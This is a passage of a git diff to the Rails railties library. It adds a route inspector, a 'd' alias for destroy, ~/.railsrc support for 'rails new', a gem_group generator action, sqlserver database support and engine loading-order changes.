b/railties/lib/rails/application/finisher.rb index 028c8814c4..fc7d205a6f 100644 --- a/railties/lib/rails/application/finisher.rb +++ b/railties/lib/rails/application/finisher.rb @@ -2,6 +2,7 @@ module Rails class Application module Finisher include Initializable + $rails_rake_task = nil initializer :add_generator_templates do config.generators.templates.unshift(*paths["lib/templates"].existent) diff --git a/railties/lib/rails/application/route_inspector.rb b/railties/lib/rails/application/route_inspector.rb new file mode 100644 index 0000000000..26652a8e5e --- /dev/null +++ b/railties/lib/rails/application/route_inspector.rb @@ -0,0 +1,75 @@ +module Rails + class Application + ## + # This class is just used for displaying route information when someone + # executes `rake routes`. People should not use this class. + class RouteInspector # :nodoc: + def initialize + @engines = ActiveSupport::OrderedHash.new + end + + def format all_routes, filter = nil + if filter + all_routes = all_routes.select{ |route| route.defaults[:controller] == filter } + end + + routes = collect_routes(all_routes) + + formatted_routes(routes) + + formatted_routes_for_engines + end + + def collect_routes(routes) + routes = routes.collect do |route| + route_reqs = route.requirements + + rack_app = route.app unless route.app.class.name.to_s =~ /^ActionDispatch::Routing/ + + controller = route_reqs[:controller] || ':controller' + action = route_reqs[:action] || ':action' + + endpoint = rack_app ? rack_app.inspect : "#{controller}##{action}" + constraints = route_reqs.except(:controller, :action) + + reqs = endpoint + reqs += " #{constraints.inspect}" unless constraints.empty? + + verb = route.verb.source.gsub(/[$^]/, '') + + collect_engine_routes(reqs, rack_app) + + {:name => route.name.to_s, :verb => verb, :path => route.path.spec.to_s, :reqs => reqs } + end + + # Skip the route if it's internal info route + routes.reject { |r| r[:path] =~ %r{/rails/info/properties|^/assets} } + end + + def collect_engine_routes(name, rack_app) + return unless rack_app && rack_app.respond_to?(:routes) + return if @engines[name] + + routes = rack_app.routes + if routes.is_a?(ActionDispatch::Routing::RouteSet) + @engines[name] = collect_routes(routes.routes) + end + end + + def formatted_routes_for_engines + @engines.map do |name, routes| + ["\nRoutes for #{name}:"] + formatted_routes(routes) + end.flatten + end + + def formatted_routes(routes) + name_width = routes.map{ |r| r[:name].length }.max + verb_width = routes.map{ |r| r[:verb].length }.max + path_width = routes.map{ |r| r[:path].length }.max + + routes.map do |r| + "#{r[:name].rjust(name_width)} #{r[:verb].ljust(verb_width)} #{r[:path].ljust(path_width)} #{r[:reqs]}" + end + end + end + end +end diff --git a/railties/lib/rails/code_statistics.rb b/railties/lib/rails/code_statistics.rb index e6822b75b7..435ea83ad8 100644 --- a/railties/lib/rails/code_statistics.rb +++ b/railties/lib/rails/code_statistics.rb @@ -38,11 +38,22 @@ class CodeStatistics #:nodoc: next unless file_name =~ pattern f = File.open(directory + "/" + file_name) - + comment_started = false while line = f.gets stats["lines"] += 1 - stats["classes"] += 1 if line =~ /class [A-Z]/ - stats["methods"] += 1 if line =~ /def [a-z]/ + if(comment_started) + if line =~ /^=end/ + comment_started = false + end + next + else + if line =~ /^=begin/ + comment_started = true + next + end + end + stats["classes"] += 1 if line =~ /^\s*class\s+[_A-Z]/ + stats["methods"] += 1 if line =~ /^\s*def\s+[_a-z]/ stats["codelines"] += 1 unless line =~ /^\s*$/ || line =~ /^\s*#/ end end diff --git a/railties/lib/rails/commands.rb b/railties/lib/rails/commands.rb index a21484e5cb..ada150ceec 100644 --- a/railties/lib/rails/commands.rb +++ b/railties/lib/rails/commands.rb @@ -4,6 +4,7 @@ ARGV << '--help' if ARGV.empty? aliases = { "g" => "generate", + "d" => "destroy", "c" => "console", "s" => "server", "db" => "dbconsole", @@ -87,7 +88,7 @@ The most common rails commands are: In addition to those, there are: application Generate the Rails application code - destroy Undo code generated with "generate" + destroy Undo code generated with "generate" (short-cut alias: "d") benchmarker See how fast a piece of code runs profiler Get profile information from a piece of code plugin Install a plugin diff --git a/railties/lib/rails/commands/application.rb b/railties/lib/rails/commands/application.rb index 1cf23a8b92..60d1aed73a 100644 --- a/railties/lib/rails/commands/application.rb +++ b/railties/lib/rails/commands/application.rb @@ -9,6 +9,14 @@ if ARGV.first != "new" ARGV[0] = "--help" else ARGV.shift + railsrc = File.join(File.expand_path("~"), ".railsrc") + if File.exist?(railsrc) + extra_args_string = File.open(railsrc).read + extra_args = extra_args_string.split(/\n+/).map {|l| l.split}.flatten + puts "Using #{extra_args.join(" ")} from #{railsrc}" + ARGV << extra_args + ARGV.flatten! + end end require 'rubygems' if ARGV.include?("--dev") diff --git a/railties/lib/rails/commands/console.rb b/railties/lib/rails/commands/console.rb index 32e361d421..7733a8f116 100644 --- a/railties/lib/rails/commands/console.rb +++ b/railties/lib/rails/commands/console.rb @@ -42,6 +42,8 @@ module Rails else puts "Loading #{Rails.env} environment (Rails #{Rails.version})" end + + IRB::ExtendCommandBundle.send :include, Rails::ConsoleMethods IRB.start end end diff --git a/railties/lib/rails/commands/dbconsole.rb b/railties/lib/rails/commands/dbconsole.rb index b0ba76217a..4b0acc9d88 100644 --- a/railties/lib/rails/commands/dbconsole.rb +++ b/railties/lib/rails/commands/dbconsole.rb @@ -33,7 +33,7 @@ module Rails options['mode'] = mode end - opt.on("-h", "--header") do |h| + opt.on("--header") do |h| options['header'] = h end diff --git a/railties/lib/rails/commands/plugin.rb b/railties/lib/rails/commands/plugin.rb index 4df849447d..c99a2e6685 100644 --- a/railties/lib/rails/commands/plugin.rb +++ b/railties/lib/rails/commands/plugin.rb @@ -274,198 +274,200 @@ end # load default environment and parse arguments require 'optparse' -module Commands - class Plugin - attr_reader :environment, :script_name - def initialize - @environment = RailsEnvironment.default - @rails_root = RailsEnvironment.default.root - @script_name = File.basename($0) - end +module Rails + module Commands + class Plugin + attr_reader :environment, :script_name + def initialize + @environment = RailsEnvironment.default + @rails_root = RailsEnvironment.default.root + @script_name = File.basename($0) + end - def environment=(value) - @environment = value - RailsEnvironment.default = value - end + def environment=(value) + @environment = value + RailsEnvironment.default = value + end - def options - OptionParser.new do |o| - o.set_summary_indent(' ') - o.banner = "Usage: plugin [OPTIONS] command" - o.define_head "Rails plugin manager." + def options + OptionParser.new do |o| + o.set_summary_indent(' ') + o.banner = "Usage: plugin [OPTIONS] command" + o.define_head "Rails plugin manager." - o.separator "" - o.separator "GENERAL OPTIONS" + o.separator "" + o.separator "GENERAL OPTIONS" - o.on("-r", "--root=DIR", String, - "Set an explicit rails app directory.", - "Default: #{@rails_root}") { |rails_root| @rails_root = rails_root; self.environment = RailsEnvironment.new(@rails_root) } + o.on("-r", "--root=DIR", String, + "Set an explicit rails app directory.", + "Default: #{@rails_root}") { |rails_root| @rails_root = rails_root; self.environment = RailsEnvironment.new(@rails_root) } - o.on("-v", "--verbose", "Turn on verbose output.") { |verbose| $verbose = verbose } - o.on("-h", "--help", "Show this help message.") { puts o; exit } + o.on("-v", "--verbose", "Turn on verbose output.") { |verbose| $verbose = verbose } + o.on("-h", "--help", "Show this help message.") { puts o; exit } - o.separator "" - o.separator "COMMANDS" + o.separator "" + o.separator "COMMANDS" - o.separator " install Install plugin(s) from known repositories or URLs." - o.separator " remove Uninstall plugins." + o.separator " install Install plugin(s) from known repositories or URLs." + o.separator " remove Uninstall plugins." - o.separator "" - o.separator "EXAMPLES" - o.separator " Install a plugin from a subversion URL:" - o.separator " #{@script_name} plugin install http://example.com/my_svn_plugin\n" - o.separator " Install a plugin from a git URL:" - o.separator " #{@script_name} plugin install git://github.com/SomeGuy/my_awesome_plugin.git\n" - o.separator " Install a plugin and add a svn:externals entry to vendor/plugins" - o.separator " #{@script_name} plugin install -x my_svn_plugin\n" + o.separator "" + o.separator "EXAMPLES" + o.separator " Install a plugin from a subversion URL:" + o.separator " #{@script_name} plugin install http://example.com/my_svn_plugin\n" + o.separator " Install a plugin from a git URL:" + o.separator " #{@script_name} plugin install git://github.com/SomeGuy/my_awesome_plugin.git\n" + o.separator " Install a plugin and add a svn:externals entry to vendor/plugins" + o.separator " #{@script_name} plugin install -x my_svn_plugin\n" + end end - end - def parse!(args=ARGV) - general, sub = split_args(args) - options.parse!(general) + def parse!(args=ARGV) + general, sub = split_args(args) + options.parse!(general) - command = general.shift - if command =~ /^(install|remove)$/ - command = Commands.const_get(command.capitalize).new(self) - command.parse!(sub) - else - puts "Unknown command: #{command}" unless command.blank? - puts options - exit 1 + command = general.shift + if command =~ /^(install|remove)$/ + command = Commands.const_get(command.capitalize).new(self) + command.parse!(sub) + else + puts "Unknown command: #{command}" unless command.blank? + puts options + exit 1 + end end - end - def split_args(args) - left = [] - left << args.shift while args[0] and args[0] =~ /^-/ - left << args.shift if args[0] - [left, args] - end - - def self.parse!(args=ARGV) - Plugin.new.parse!(args) - end - end + def split_args(args) + left = [] + left << args.shift while args[0] and args[0] =~ /^-/ + left << args.shift if args[0] + [left, args] + end - class Install - def initialize(base_command) - @base_command = base_command - @method = :http - @options = { :quiet => false, :revision => nil, :force => false } + def self.parse!(args=ARGV) + Plugin.new.parse!(args) + end end - def options - OptionParser.new do |o| - o.set_summary_indent(' ') - o.banner = "Usage: #{@base_command.script_name} install PLUGIN [PLUGIN [PLUGIN] ...]" - o.define_head "Install one or more plugins." - o.separator "" - o.separator "Options:" - o.on( "-x", "--externals", - "Use svn:externals to grab the plugin.", - "Enables plugin updates and plugin versioning.") { |v| @method = :externals } - o.on( "-o", "--checkout", - "Use svn checkout to grab the plugin.", - "Enables updating but does not add a svn:externals entry.") { |v| @method = :checkout } - o.on( "-e", "--export", - "Use svn export to grab the plugin.", - "Exports the plugin, allowing you to check it into your local repository. Does not enable updates or add an svn:externals entry.") { |v| @method = :export } - o.on( "-q", "--quiet", - "Suppresses the output from installation.", - "Ignored if -v is passed (rails plugin -v install ...)") { |v| @options[:quiet] = true } - o.on( "-r REVISION", "--revision REVISION", - "Checks out the given revision from subversion or git.", - "Ignored if subversion/git is not used.") { |v| @options[:revision] = v } - o.on( "-f", "--force", - "Reinstalls a plugin if it's already installed.") { |v| @options[:force] = true } - o.separator "" - o.separator "You can specify plugin names as given in 'plugin list' output or absolute URLs to " - o.separator "a plugin repository." + class Install + def initialize(base_command) + @base_command = base_command + @method = :http + @options = { :quiet => false, :revision => nil, :force => false } end - end - def determine_install_method - best = @base_command.environment.best_install_method - @method = :http if best == :http and @method == :export - case - when (best == :http and @method != :http) - msg = "Cannot install using subversion because `svn' cannot be found in your PATH" - when (best == :export and (@method != :export and @method != :http)) - msg = "Cannot install using #{@method} because this project is not under subversion." - when (best != :externals and @method == :externals) - msg = "Cannot install using externals because vendor/plugins is not under subversion." + def options + OptionParser.new do |o| + o.set_summary_indent(' ') + o.banner = "Usage: #{@base_command.script_name} install PLUGIN [PLUGIN [PLUGIN] ...]" + o.define_head "Install one or more plugins." + o.separator "" + o.separator "Options:" + o.on( "-x", "--externals", + "Use svn:externals to grab the plugin.", + "Enables plugin updates and plugin versioning.") { |v| @method = :externals } + o.on( "-o", "--checkout", + "Use svn checkout to grab the plugin.", + "Enables updating but does not add a svn:externals entry.") { |v| @method = :checkout } + o.on( "-e", "--export", + "Use svn export to grab the plugin.", + "Exports the plugin, allowing you to check it into your local repository. Does not enable updates or add an svn:externals entry.") { |v| @method = :export } + o.on( "-q", "--quiet", + "Suppresses the output from installation.", + "Ignored if -v is passed (rails plugin -v install ...)") { |v| @options[:quiet] = true } + o.on( "-r REVISION", "--revision REVISION", + "Checks out the given revision from subversion or git.", + "Ignored if subversion/git is not used.") { |v| @options[:revision] = v } + o.on( "-f", "--force", + "Reinstalls a plugin if it's already installed.") { |v| @options[:force] = true } + o.separator "" + o.separator "You can specify plugin names as given in 'plugin list' output or absolute URLs to " + o.separator "a plugin repository." + end end - if msg - puts msg - exit 1 + + def determine_install_method + best = @base_command.environment.best_install_method + @method = :http if best == :http and @method == :export + case + when (best == :http and @method != :http) + msg = "Cannot install using subversion because `svn' cannot be found in your PATH" + when (best == :export and (@method != :export and @method != :http)) + msg = "Cannot install using #{@method} because this project is not under subversion." + when (best != :externals and @method == :externals) + msg = "Cannot install using externals because vendor/plugins is not under subversion." + end + if msg + puts msg + exit 1 + end + @method end - @method - end - def parse!(args) - options.parse!(args) - if args.blank? - puts options + def parse!(args) + options.parse!(args) + if args.blank? + puts options + exit 1 + end + environment = @base_command.environment + install_method = determine_install_method + puts "Plugins will be installed using #{install_method}" if $verbose + args.each do |name| + ::Plugin.find(name).install(install_method, @options) + end + rescue StandardError => e + puts "Plugin not found: #{args.inspect}" + puts e.inspect if $verbose exit 1 end - environment = @base_command.environment - install_method = determine_install_method - puts "Plugins will be installed using #{install_method}" if $verbose - args.each do |name| - ::Plugin.find(name).install(install_method, @options) - end - rescue StandardError => e - puts "Plugin not found: #{args.inspect}" - puts e.inspect if $verbose - exit 1 - end - end - - class Remove - def initialize(base_command) - @base_command = base_command end - def options - OptionParser.new do |o| - o.set_summary_indent(' ') - o.banner = "Usage: #{@base_command.script_name} remove name [name]..." - o.define_head "Remove plugins." + class Remove + def initialize(base_command) + @base_command = base_command end - end - def parse!(args) - options.parse!(args) - if args.blank? - puts options - exit 1 + def options + OptionParser.new do |o| + o.set_summary_indent(' ') + o.banner = "Usage: #{@base_command.script_name} remove name [name]..." + o.define_head "Remove plugins." + end end - root = @base_command.environment.root - args.each do |name| - ::Plugin.new(name).uninstall + + def parse!(args) + options.parse!(args) + if args.blank? + puts options + exit 1 + end + root = @base_command.environment.root + args.each do |name| + ::Plugin.new(name).uninstall + end end end - end - class Info - def initialize(base_command) - @base_command = base_command - end + class Info + def initialize(base_command) + @base_command = base_command + end - def options - OptionParser.new do |o| - o.set_summary_indent(' ') - o.banner = "Usage: #{@base_command.script_name} info name [name]..." - o.define_head "Shows plugin info at {url}/about.yml." + def options + OptionParser.new do |o| + o.set_summary_indent(' ') + o.banner = "Usage: #{@base_command.script_name} info name [name]..." + o.define_head "Shows plugin info at {url}/about.yml." + end end - end - def parse!(args) - options.parse!(args) - args.each do |name| - puts ::Plugin.find(name).info - puts + def parse!(args) + options.parse!(args) + args.each do |name| + puts ::Plugin.find(name).info + puts + end end end end @@ -539,4 +541,4 @@ class RecursiveHTTPFetcher end end -Commands::Plugin.parse! +Rails::Commands::Plugin.parse! diff --git a/railties/lib/rails/commands/server.rb b/railties/lib/rails/commands/server.rb index 23392276d5..20484a10c8 100644 --- a/railties/lib/rails/commands/server.rb +++ b/railties/lib/rails/commands/server.rb @@ -78,7 +78,7 @@ module Rails middlewares = [] middlewares << [Rails::Rack::LogTailer, log_path] unless options[:daemonize] middlewares << [Rails::Rack::Debugger] if options[:debugger] - middlewares << [Rails::Rack::ContentLength] + middlewares << [::Rack::ContentLength] Hash.new(middlewares) end diff --git a/railties/lib/rails/console/app.rb b/railties/lib/rails/console/app.rb index 95c74baae2..23d57379ba 100644 --- a/railties/lib/rails/console/app.rb +++ b/railties/lib/rails/console/app.rb @@ -5,28 +5,32 @@ require 'action_controller' # work around the at_exit hook in test/unit, which kills IRB Test::Unit.run = true if Test::Unit.respond_to?(:run=) -# reference the global "app" instance, created on demand. To recreate the -# instance, pass a non-false value as the parameter. -def app(create=false) - @app_integration_instance = nil if create - @app_integration_instance ||= new_session do |sess| - sess.host! "www.example.com" - end -end +module Rails + module ConsoleMethods + # reference the global "app" instance, created on demand. To recreate the + # instance, pass a non-false value as the parameter. + def app(create=false) + @app_integration_instance = nil if create + @app_integration_instance ||= new_session do |sess| + sess.host! "www.example.com" + end + end -# create a new session. If a block is given, the new session will be yielded -# to the block before being returned. -def new_session - app = Rails.application - session = ActionDispatch::Integration::Session.new(app) - yield session if block_given? - session -end + # create a new session. If a block is given, the new session will be yielded + # to the block before being returned. + def new_session + app = Rails.application + session = ActionDispatch::Integration::Session.new(app) + yield session if block_given? + session + end -# reloads the environment -def reload!(print=true) - puts "Reloading..." if print - ActionDispatch::Reloader.cleanup! - ActionDispatch::Reloader.prepare! - true + # reloads the environment + def reload!(print=true) + puts "Reloading..." if print + ActionDispatch::Reloader.cleanup! + ActionDispatch::Reloader.prepare! + true + end + end end diff --git a/railties/lib/rails/console/helpers.rb b/railties/lib/rails/console/helpers.rb index 212fc6125a..230d3d9d04 100644 --- a/railties/lib/rails/console/helpers.rb +++ b/railties/lib/rails/console/helpers.rb @@ -1,7 +1,11 @@ -def helper - @helper ||= ApplicationController.helpers -end +module Rails + module ConsoleMethods + def helper + @helper ||= ApplicationController.helpers + end -def controller - @controller ||= ApplicationController.new + def controller + @controller ||= ApplicationController.new + end + end end diff --git a/railties/lib/rails/engine.rb b/railties/lib/rails/engine.rb index c41f7d7c2e..5c1af99fe2 100644 --- a/railties/lib/rails/engine.rb +++ b/railties/lib/rails/engine.rb @@ -296,16 +296,16 @@ module Rails # If you want to share just a few specific helpers you can add them to application's # helpers in ApplicationController: # - # class ApplicationController < ActionController::Base - # helper MyEngine::SharedEngineHelper - # end + # class ApplicationController < ActionController::Base + # helper MyEngine::SharedEngineHelper + # end # # If you want to include all of the engine's helpers, you can use #helpers method on an engine's # instance: # - # class ApplicationController < ActionController::Base - # helper MyEngine::Engine.helpers - # end + # class ApplicationController < ActionController::Base + # helper MyEngine::Engine.helpers + # end # # It will include all of the helpers from engine's directory. Take into account that this does # not include helpers defined in controllers with helper_method or other similar solutions, @@ -330,6 +330,17 @@ module Rails # # MyEngine::Engine.load_seed # + # == Loading priority + # + # In order to change engine's priority you can use config.railties_order in main application. + # It will affect the priority of loading views, helpers, assets and all the other files + # related to engine or application. + # + # Example: + # + # # load Blog::Engine with highest priority, followed by application and other railties + # config.railties_order = [Blog::Engine, :main_app, :all] + # class Engine < Railtie autoload :Configuration, "rails/engine/configuration" autoload :Railties, "rails/engine/railties" @@ -360,6 +371,7 @@ module Rails end def endpoint(endpoint = nil) + @endpoint ||= nil @endpoint = endpoint if endpoint @endpoint end @@ -370,20 +382,28 @@ module Rails self.routes.default_scope = { :module => ActiveSupport::Inflector.underscore(mod.name) } self.isolated = true - unless mod.respond_to?(:_railtie) - name = engine_name - _railtie = self + unless mod.respond_to?(:railtie_namespace) + name, railtie = engine_name, self + mod.singleton_class.instance_eval do - define_method(:_railtie) do - _railtie - end + define_method(:railtie_namespace) { railtie } unless mod.respond_to?(:table_name_prefix) - define_method(:table_name_prefix) do - "#{name}_" - end + define_method(:table_name_prefix) { "#{name}_" } + end + + unless mod.respond_to?(:use_relative_model_naming?) + class_eval "def use_relative_model_naming?; true; end", __FILE__, __LINE__ + end + + unless mod.respond_to?(:railtie_helpers_paths) + define_method(:railtie_helpers_paths) { railtie.helpers_paths } + end + + unless mod.respond_to?(:railtie_routes_url_helpers) + define_method(:railtie_routes_url_helpers) { railtie.routes_url_helpers } end - end + end end end @@ -428,13 +448,6 @@ module Rails def helpers @helpers ||= begin helpers = Module.new - - helpers_paths = if config.respond_to?(:helpers_paths) - config.helpers_paths - else - paths["app/helpers"].existent - end - all = ActionController::Base.all_helpers_from_path(helpers_paths) ActionController::Base.modules_for_helpers(all).each do |mod| helpers.send(:include, mod) @@ -443,6 +456,14 @@ module Rails end end + def helpers_paths + paths["app/helpers"].existent + end + + def routes_url_helpers + routes.url_helpers + end + def app @app ||= begin config.middleware = config.middleware.merge_into(default_middleware_stack) @@ -470,10 +491,19 @@ module Rails @routes end + def ordered_railties + railties.all + [self] + end + def initializers initializers = [] - railties.all { |r| initializers += r.initializers } - initializers += super + ordered_railties.each do |r| + if r == self + initializers += super + else + initializers += r.initializers + end + end initializers end @@ -487,7 +517,7 @@ module Rails # Blog::Engine.load_seed def load_seed seed_file = paths["db/seeds"].existent.first - load(seed_file) if File.exist?(seed_file) + load(seed_file) if seed_file && File.exist?(seed_file) end # Add configured load paths to ruby load paths and remove duplicates. @@ -536,15 +566,15 @@ module Rails end end - initializer :load_environment_config, :before => :load_environment_hook do + initializer :load_environment_config, :before => :load_environment_hook, :group => :all do environment = paths["config/environments"].existent.first require environment if environment end - initializer :append_assets_path do |app| - app.config.assets.paths.unshift(*paths["vendor/assets"].existent) - app.config.assets.paths.unshift(*paths["lib/assets"].existent) - app.config.assets.paths.unshift(*paths["app/assets"].existent) + initializer :append_assets_path, :group => :all do |app| + app.config.assets.paths.unshift(*paths["vendor/assets"].existent_directories) + app.config.assets.paths.unshift(*paths["lib/assets"].existent_directories) + app.config.assets.paths.unshift(*paths["app/assets"].existent_directories) end initializer :prepend_helpers_path do |app| diff --git a/railties/lib/rails/engine/commands.rb b/railties/lib/rails/engine/commands.rb index 3b0920e213..b71119af77 100644 --- a/railties/lib/rails/engine/commands.rb +++ b/railties/lib/rails/engine/commands.rb @@ -3,7 +3,8 @@ require 'active_support/core_ext/object/inclusion' ARGV << '--help' if ARGV.empty? aliases = { - "g" => "generate" + "g" => "generate", + "d" => "destroy" } command = ARGV.shift @@ -30,7 +31,7 @@ Usage: rails COMMAND [ARGS] The common rails commands available for engines are: generate Generate new code (short-cut alias: "g") - destroy Undo code generated with "generate" + destroy Undo code generated with "generate" (short-cut alias: "d") All commands can be run with -h for more information. EOT diff --git a/railties/lib/rails/generators.rb b/railties/lib/rails/generators.rb index fdafc91fcb..27f8d13ce8 100644 --- a/railties/lib/rails/generators.rb +++ b/railties/lib/rails/generators.rb @@ -77,7 +77,7 @@ module Rails fallbacks.merge! config.fallbacks templates_path.concat config.templates templates_path.uniq! - hide_namespaces *config.hidden_namespaces + hide_namespaces(*config.hidden_namespaces) end def self.templates_path @@ -313,7 +313,7 @@ module Rails begin path = path.sub("#{base}/", "") require path - rescue Exception => e + rescue Exception # No problem end end diff --git a/railties/lib/rails/generators/actions.rb b/railties/lib/rails/generators/actions.rb index b8541c236e..ca93f9ef9d 100644 --- a/railties/lib/rails/generators/actions.rb +++ b/railties/lib/rails/generators/actions.rb @@ -68,7 +68,33 @@ module Rails end in_root do - append_file "Gemfile", "gem #{parts.join(", ")}\n", :verbose => false + str = "gem #{parts.join(", ")}" + str = " " + str if @in_group + str = "\n" + str + append_file "Gemfile", str, :verbose => false + end + end + + # Wraps gem entries inside a group. + # + # ==== Example + # + # gem_group :development, :test do + # gem "rspec-rails" + # end + # + def gem_group(*names, &block) + name = names.map(&:inspect).join(", ") + log :gemfile, "group #{name}" + + in_root do + append_file "Gemfile", "\ngroup #{name} do", :force => true + + @in_group = true + instance_eval(&block) + @in_group = false + + append_file "Gemfile", "\nend\n", :force => true end end @@ -97,7 +123,7 @@ module Rails in_root do if options[:env].nil? - inject_into_file 'config/application.rb', "\n #{data}", :after => sentinel, :verbose => false + inject_into_file 'config/application.rb', "\n #{data}", :after => sentinel, :verbose => false else Array.wrap(options[:env]).each do |env| inject_into_file "config/environments/#{env}.rb", "\n #{data}", :after => env_file_sentinel, :verbose => false @@ -119,8 +145,8 @@ module Rails if commands.is_a?(Symbol) run "git #{commands}" else - commands.each do |command, options| - run "git #{command} #{options}" + commands.each do |cmd, options| + run "git #{cmd} #{options}" end end end @@ -227,7 +253,7 @@ module Rails # def rake(command, options={}) log :rake, command - env = options[:env] || 'development' + env = options[:env] || ENV["RAILS_ENV"] || 'development' sudo = options[:sudo] && RbConfig::CONFIG['host_os'] !~ /mswin|mingw/ ? 'sudo ' : '' in_root { run("#{sudo}#{extify(:rake)} #{command} RAILS_ENV=#{env}", :verbose => false) } end diff --git a/railties/lib/rails/generators/app_base.rb b/railties/lib/rails/generators/app_base.rb index bbdd000ad9..3fbde0d989 100644 --- a/railties/lib/rails/generators/app_base.rb +++ b/railties/lib/rails/generators/app_base.rb @@ -9,7 +9,7 @@ require 'uri' module Rails module Generators class AppBase < Base - DATABASES = %w( mysql oracle postgresql sqlite3 frontbase ibm_db ) + DATABASES = %w( mysql oracle postgresql sqlite3 frontbase ibm_db sqlserver ) JDBC_DATABASES = %w( jdbcmysql jdbcsqlite3 jdbcpostgresql jdbc ) DATABASES.concat(JDBC_DATABASES) @@ -138,28 +138,33 @@ module Rails if options.dev? <<-GEMFILE.strip_heredoc gem 'rails', :path => '#{Rails::Generators::RAILS_DEV_PATH}' + gem 'journey', :git => 'git://github.com/rails/journey.git' + gem 'arel', :git => 'git://github.com/rails/arel.git' GEMFILE elsif options.edge? <<-GEMFILE.strip_heredoc gem 'rails', :git => 'git://github.com/rails/rails.git' + gem 'journey', :git => 'git://github.com/rails/journey.git' + gem 'arel', :git => 'git://github.com/rails/arel.git' GEMFILE else <<-GEMFILE.strip_heredoc gem 'rails', '#{Rails::VERSION::STRING}' # Bundle edge Rails instead: - # gem 'rails', :git => 'git://github.com/rails/rails.git' + # gem 'rails', :git => 'git://github.com/rails/rails.git' GEMFILE end end def gem_for_database - # %w( mysql oracle postgresql sqlite3 frontbase ibm_db jdbcmysql jdbcsqlite3 jdbcpostgresql ) + # %w( mysql oracle postgresql sqlite3 frontbase ibm_db sqlserver jdbcmysql jdbcsqlite3 jdbcpostgresql ) case options[:database] - when "oracle" then "ruby-oci8" - when "postgresql" then "pg" - when "frontbase" then "ruby-frontbase" - when "mysql" then "mysql2" + when "oracle" then "ruby-oci8" + when "postgresql" then "pg" + when "frontbase" then "ruby-frontbase" + when "mysql" then "mysql2" + when "sqlserver" then "activerecord-sqlserver-adapter" when "jdbcmysql" then "activerecord-jdbcmysql-adapter" when "jdbcsqlite3" then "activerecord-jdbcsqlite3-adapter" when "jdbcpostgresql" then "activerecord-jdbcpostgresql-adapter" @@ -187,23 +192,15 @@ module Rails end end - def turn_gemfile_entry - unless RUBY_VERSION < "1.9.2" || options[:skip_test_unit] - <<-GEMFILE.strip_heredoc - group :test do - # Pretty printed test output - gem 'turn', :require => false - end - GEMFILE - end - end - def assets_gemfile_entry <<-GEMFILE.strip_heredoc + # Gems used only for assets and not required + # in production environments by default. group :assets do - gem 'sass-rails', :git => 'git://github.com/rails/sass-rails' - gem 'coffee-rails', :git => 'git://github.com/rails/coffee-rails' - gem 'uglifier' + gem 'sass-rails', :git => 'git://github.com/rails/sass-rails.git' + gem 'coffee-rails', :git => 'git://github.com/rails/coffee-rails.git' + #{"gem 'therubyrhino'\n" if defined?(JRUBY_VERSION)} + gem 'uglifier', '>= 1.0.3' end GEMFILE end diff --git a/railties/lib/rails/generators/base.rb b/railties/lib/rails/generators/base.rb index b9dc31457a..f38a487a4e 100644 --- a/railties/lib/rails/generators/base.rb +++ b/railties/lib/rails/generators/base.rb @@ -34,7 +34,7 @@ module Rails usage = source_root && File.expand_path("../USAGE", source_root) @desc ||= if usage && File.exist?(usage) - File.read(usage) + ERB.new(File.read(usage)).result(binding) else "Description:\n Create #{base_name.humanize.downcase} files for #{generator_name} generator." end @@ -91,7 +91,7 @@ module Rails # # The lookup in this case for test_unit as input is: # - # "test_unit:awesome", "test_unit" + # "test_framework:awesome", "test_framework" # # Which is not the desired the lookup. You can change it by providing the # :as option: @@ -102,7 +102,7 @@ module Rails # # And now it will lookup at: # - # "test_unit:controller", "test_unit" + # "test_framework:controller", "test_framework" # # Similarly, if you want it to also lookup in the rails namespace, you just # need to provide the :base value: @@ -113,7 +113,7 @@ module Rails # # And the lookup is exactly the same as previously: # - # "rails:test_unit", "test_unit:controller", "test_unit" + # "rails:test_framework", "test_framework:controller", "test_framework" # # ==== Switches # diff --git a/railties/lib/rails/generators/rails/app/USAGE b/railties/lib/rails/generators/rails/app/USAGE index 9e7a78d132..691095f33f 100644 --- a/railties/lib/rails/generators/rails/app/USAGE +++ b/railties/lib/rails/generators/rails/app/USAGE @@ -2,6 +2,12 @@ Description: The 'rails new' command creates a new Rails application with a default directory structure and configuration at the path you specify. + You can specify extra command-line arguments to be used every time + 'rails new' runs in the .railsrc configuration file in your home directory. + + Note that the arguments specified in the .railsrc file don't affect the + defaults values shown above in this help message. + Example: rails new ~/Code/Ruby/weblog diff --git a/railties/lib/rails/generators/rails/app/app_generator.rb b/railties/lib/rails/generators/rails/app/app_generator.rb index d9dd33518a..3e32f758a4 100644 --- a/railties/lib/rails/generators/rails/app/app_generator.rb +++ b/railties/lib/rails/generators/rails/app/app_generator.rb @@ -122,10 +122,15 @@ module Rails end def vendor + vendor_javascripts vendor_stylesheets vendor_plugins end + def vendor_javascripts + empty_directory_with_gitkeep "vendor/assets/javascripts" + end + def vendor_stylesheets empty_directory_with_gitkeep "vendor/assets/stylesheets" end @@ -139,7 +144,6 @@ module Rails # We need to store the RAILS_DEV_PATH in a constant, otherwise the path # can change in Ruby 1.8.7 when we FileUtils.cd. RAILS_DEV_PATH = File.expand_path("../../../../../..", File.dirname(__FILE__)) - RESERVED_NAMES = %w[application destroy benchmarker profiler plugin runner test] class AppGenerator < AppBase diff --git a/railties/lib/rails/generators/rails/app/templates/Gemfile b/railties/lib/rails/generators/rails/app/templates/Gemfile index 88eea40b1b..d3b8f4d595 100644 --- a/railties/lib/rails/generators/rails/app/templates/Gemfile +++ b/railties/lib/rails/generators/rails/app/templates/Gemfile @@ -7,12 +7,12 @@ source 'http://rubygems.org' <%= "gem 'jruby-openssl'\n" if defined?(JRUBY_VERSION) -%> <%= "gem 'json'\n" if RUBY_VERSION < "1.9.2" -%> -# Gems used only for assets and not required -# in production environments by default. <%= assets_gemfile_entry %> - <%= javascript_gemfile_entry %> +# To use ActiveModel has_secure_password +# gem 'bcrypt-ruby', '~> 3.0.0' + # Use unicorn as the web server # gem 'unicorn' @@ -21,5 +21,3 @@ source 'http://rubygems.org' # To use debugger # <%= ruby_debugger_gemfile_entry %> - -<%= turn_gemfile_entry -%> diff --git a/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css b/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css index 9e07c7d9a9..3b5cc6648e 100644 --- a/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css +++ b/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css @@ -4,10 +4,10 @@ * * Any CSS and SCSS file within this directory, lib/assets/stylesheets, vendor/assets/stylesheets, * or vendor/assets/stylesheets of plugins, if any, can be referenced here using a relative path. - * + * * You're free to add application-wide styles to this file and they'll appear at the top of the * compiled 